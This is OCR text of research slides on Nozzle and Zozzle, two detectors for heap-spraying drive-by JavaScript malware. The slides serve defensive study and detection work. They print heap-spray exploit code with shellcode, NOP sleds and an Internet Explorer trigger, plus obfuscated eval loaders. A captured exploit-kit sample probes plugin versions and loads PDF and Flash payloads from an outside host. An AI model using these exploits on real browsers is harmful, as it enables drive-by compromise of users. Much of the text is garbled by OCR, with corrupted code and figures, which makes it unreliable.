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Blacklisting Malware in Search Results
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Drive-by Malware Detection Landscape

Ofﬂlne Detection more immediate
(honey-monkey)

O

Nozzle
[Usenix Security '09]
runtime \Y/
static \ Mostly static detection
Zozzle Low overhead, high reach

[Usenix Security 11] Can be deployed in browser
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Heap Spraying
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Drive-By Attacks: How to




Drive-By Heap Exploit

ASLR prevents the
Program Hea attack

Creates the
g malicious object

<SCRIPT language=" . .
shellcode = unesq TrlggerS the jump

</SCRIPT>

<IFRAME
SRC=file://BBBBBBBBBBEBBBBBBBBBBBBBBBBBBBBBEB ..

&#3341; &#3341;">

</IFRAME>

</HTML>

NAME="CCCCCCCCCCCCCCCCCCcccrcrceeeeeceeececcecececececececce ..




Drive-By Heap Spraying

Program Heap

<SCRIPT language—"text/javascrlpt"
shellcode = unescaps ' /

oneblock = unescag
mpassperarae  Allocate 1,000s of

while (fullblock. . s .
fullblock += fu malicious objects

}

sprayContainer = new Array() ;
for (i=0; i<1000; i++) {
sprayContainer[i] = fullblock + shellcode;

}
</SCRIPT>




<html>

<body>
<button id=’butid’ onclick=’trigger();’ style=’display:none’/>
<script>

// Shellcode

var shellcode=unescape( ‘%u9090%u9090%u9090%u9090%uceba%ullfaku291f%ublc9%udb33%ud9ce%u2474%us5ef4%us63
bigblock=unescape(“%u@DoD%ueDoD”) ;

headersize=20;shellcodesize=headersize+shellcode.length;
while(bigblock.length<shellcodesize){bigblock+=bigblock;}
heapshell=bigblock.substring(@,shellcodesize);
nopsled=bigblock.substring(0,bigblock.length-shellcodesize);
while(nopsled.length+shellcodesize<@x25000){nopsled=nopsled+nopsled+heapshell}

// Spray

var spray=new Array();
for(i=0;i<500;i++){spray[i]=nopsled+shellcode;}

// Trigger

function trigger(){
var varbdy = document.createElement(‘body’);
varbdy.addBehavior( ‘#default#tuserData’);
document.appendChild(varbdy);
try {
for (iter=0; iter<10; iter++) {
varbdy.setAttribute( ‘s’ ,window);
}
} catch(e){ }

window.status+=";

¥
document.getElementById( ‘butid’).onclick();

</script>
</body>
</html> 9



Nozzle and Zozzle

Research to Reality in 18 Short Months

May 2009 - February 2011



Summary: Nozzle & Zozzle

Nozzle Zozzle

Method Runtime Mostly static




Nozzle: Runtime Heap Spraying Detection

good

bad ..

Normalized attack surface (NAS)
/

168688 2000 g, Oy 46668 42 50668 2 666868 2 70000
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Local Malicious Object Detection

Is this object dangerous?

Code
00000000000 al * Isthis ObjECt code?
00000000000 al — Code and data look the same on x86
00000000000 al
00000000000 al e Focus on sled detection
00000000000 al o ..
00000000000 al — Majority of object is sled

00000000000 al — Spraying scripts build simple sleds

Is this code a NOP sled?

0101010101 1x] — Previous techniques do not look at heap
0101010101 Ix ] , _
0101010101 1% ] — Many heap objects look like NOP sleds
gigigigigi shellcode | } — 80% false positive rates using previous

‘ techniques
0101010101 and ah, [edx]
0101010101 and ah, [edx] °

Need stronger local techniques

15




Object Surface Area Calculation (1)

Assume: attacker wants to
reach shell code from jump
to any point in object

Goal: find blocks that are
likely to be reached via
control flow

Strategy: use dataflow
analysis to compute
“surface area” of each block

9

xor [eax], eax

» sub [eax], eax Legend:
adc dh, bh L] arithmetic
or eax, 0d172004h [] memory
jg 021c7fde ] 1/0 or syscall
r [] control flow
testcl, ah
jecxz 021¢7fd8
' 4 |
add al, 30h add [eax], al
add al, 80h add [ecx], 0
add al, 38h outs dx, [esi]
jmp 021c7fde

jne 021c7fbe

r

imul eax, [eax], 6ch

in eax, Ox11

An example object from visiting google.com

16



Object Surface Area Calculation (2)

Each block starts with its own
size as weight

Weights are propagated
forward with flow

Invalid blocks don’t propagate

Iterate until a fixpoint is
reached

Compute block with highest
weight

. I

» sub [eax], eax Legend:
adc dh, bh L] arithmetic
or eax, 0d172004h ] memory
jg 021c7fde ] 1/O or syscall
2 r [] control flow

ah
21c7fd8

3

4

"
add [eax], al

, 30h
. 80h

add [ecx], 0
add al, 38h outs dx, [esi]
jmp 021c7fde

5 1

» xor [eax], eax
jne 021c7fbe

6

4
imul eax, [eax], 6¢ch

in eax, Ox11

An example object from visiting google.com

17




Nozzle Global Heap Metric

Normalize to (approx):

P(jump will cause exploit) ~
NI A(H)

oty
SAH)
Compute threat
of entire heap \
SA(o) SA(B)

Compute threat ~

single object

build CFG

o nenoy

dataflow

w

Compute threat of

single block
18



Nozzle Experimental Summary

P O False Positives
e 10 popular AJAX heavy sites
g finds _;,é) QOsARE malicious sites using Nozzle

A falssJingotyes
e 12 published heap spraying exploits and
e 2,000 synthetic rogue pages generated using Metasploit

ILV two- U C

ncreasec IH!:{ b detectioncapabi

Runtime Overhead

e As high as 2x without sampling
. ® 5-10% with sampling




Zozzle: Static Malware Detection Plan

Train a classifier to recognize malware

Start with thousands of malicious and
benign labeled samples

Classify JavaScript code



Obfuscation

eval (""+0(2369522)+0(1949494) +0O
(2288625)+0(648464)+0(2304124) +
0(2080995)+0(2020710)+0(2164958
) +0(2168902)+0(1986377)+0 (22279
03)+0(2005851)+0(2021303)+0 (646
435)+0(1228455)+0(644519)+0 (234
6826) +0 (2207788)+0(2023127)+0 (2
300806)+0(1983560)+0(1949296) +O
(2245968) +0 (2028685) +0(809214) +
0(680960)+0(747602)+0(2346412) +
0(1060647)+0(1045327)+0 (1381007
) +0(1329180)+0(745897)+0 (234140
4)+0(1109791)+0(1064283)+0 (1128
719)+0(1321055)+0(748985)+...);

NS

var 1 = function (x) {

return String.fromCharCode (x);

var O = function (m) {
return String.fromCharCode (
Math.floor(m / 10000) / 2);
}

shellcode = unescape ( )5

var bigblock = unescape ( ) ;

while (bigblock.length<slackspace) {
bigblock += bigblock;

}

block = bigblock.substring (0,
bigblock.length-slackspace);

while (block.length+slackspace<0x40000) {
block = block + block + fillblock;

}

memory = new Array();

for (x=0; x<300; x++) {
memory[x] = block + shellcode;



Runtime Deobfuscation via Code Unfolding)
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f5625) 0 (54346
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Zozzle Training & Application

malicious benign
samples samples
(1K) (7K)

23



Hierarchical Feature Extraction




Naive Bayes Classification

eval (""+0(2369522) +0 (19494
94) +0(2288625) +0(648464) +0
(2304124) +0(2080995) +0 (202
0710) +0(2164958) +0 (2168902
) +0 (1986377) +0 (2227903) +0 (

Q -9 2005851) +0(2021303) +0 (6464
eature malicious
(2346826) +0(2207788) +0 (202

3127) +0(2306806) +0 (1983560

) +0 (1949296) +0 (2245968) +0 (
2028685) +0(809214) +0 (68096
0)+0(747602) +0 (2346412) +0 (
1060647) +0(1045327) +0 (1381
007) +0 (1329180) +0(745897) +
0(2341404) +0(1109791) +0 (10
64283)+0(1128719) +0 (132105
5)+0(748985) +...) ;

string:0c0Oc 0.99

function:shellcode 099

loop:memory 0.87

Function:ActiveX 080

—> P(malicious)

try:activex 041

if:msie 7 0.33

function:Array 021

function:unescape 0.45

loop:+= 0.55
loop:nop 0.95
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Features & Throughput
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False Positives & False Negatives

Set of 1.2M skl -
samples 38 Pesitives

Finds more malware
- than any other
5 detector we know

3 1% -

2 7 30,

. 20% 15/
10%

0 - 0% -
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Zozzle detection

document.write('<div style="position:absolute; left:-1000px; top:-1000px;">"');
var E5Jrh = null;

try
{
E5Jrh = new ActiveXObject("AcroPDF.PDF")
}
catch(e)
{
}
if(!E5JIrh)
try
{
E5Jrh = new ActiveXObject("PDF.PdfCtrl")
}
catch(e)
{
}
if(E5JIrh)
{

lv = E5Jrh.GetVersions().split(",")[4].split("=")[1].replace(/\./g,"");
if(lv < 900 && lv != 813)
document.write('<embed src="http://rodenborn.com/images/validate.php?s=PTqrUdHv&id=2" width=100 height=100

type="application/pdf"></embed>")
}
try
{

var E5Jrh = 0;

E5Jrh = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$" + "version").split(",")
}
catch(e)
{

}
if(E5Irh && E5Jrh[2] < 124)

document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width=100 height=100
align=middle><param name="movie" value="http://rodenborn.com/images/validate.php?s=PTqrUdHv&id=3"/><param 30
name="quality" value="high"/><param name="bgcolor" value="#ffffff"/><embed

- . - J— ~ e 1 et 7 . o T\



ionon a)

Detect

Zozzle

o
0¥

L )

1102/12/9
1102/02/9
1102/61/9
11702/81/9
1102/L1/9
1702/91/9
1102/S1/9
T102/¥1/9
1T02/€1/9
1102/21/9
1702/11/9
1102/0T/9
1102/6/9
1102/8/9
1102/L/9
1102/9/9
1102/S/9
1102/v/9
1102/€/9
1102/2/9
1102/1/9

Thousands of malware si




Limitatinng of Zozzle

"\x6D"+"\x73\x69\x65"+"\
x20\x36"

"msie 6"
if . . W ndexoTe~—
"\x6D"+"\x73\x69\x65"+"\x20\x36")>0)
document.write("<iframe src=x6.htm></iframe>");
"O"+"\x57\x43"+"\x31\x30\x2E\x53"+ Fﬁﬁjg;&ﬂ\x&w+"vaowwwx3ww>0)
"pr"_l_"ea"_l_"ds "+"he"+"et" ></lframe>");

"OWC10.Spreadsheet"

} catch(a) { } fina.
if (a!="[object .
document.writ\

1,-1"_}_"OCkW"_I_"aV"_l__"e"_l__"Fl

—
"\X6D"‘|‘"\X73"‘|‘"\X69"+"\
ne src=svfl9 X65"+"\x20"+"\x37"

}
try {
var c; var f=new Activ
} catch(e) { } finally {
if (c!="[object Error]")'{
aacc = "<iframe src=of.htm></iframe>";
setTimeout ("document.write (aacc)"™, 3500);

1) . 1)
yject ("O"+"\x5% msie 7/

32
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What’s Next

(navigator.userAgent.toLowerCase () .1indexOf (

if

"\x6D"+"\x73\x69\x65"+

(navigator.userAgent.toLowerCase () .1indexOf (

if

» LSS T & O & v LY BN Y " .
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"\X6D"+"\X73"+"\X69"+"

try {

new ActiveXObject ("Sh"+"ockw"+

} finally {
(a!="[object Error]")

; var aa
{

var a
} catch(a)

if

var c; var f=new ActiveXObject ("O"+"\x57\x43"+

} catch(c)

} finally {

{

{

o
O
o
~
F
Is)
O
)]
-M
Q
O




Conclusions: Nozzle & Zozzle

Nozzle Zozzle

Method Runtime Mostly static

http://research.microsoft.com/en-us/projects/nozzle/

Nozzle
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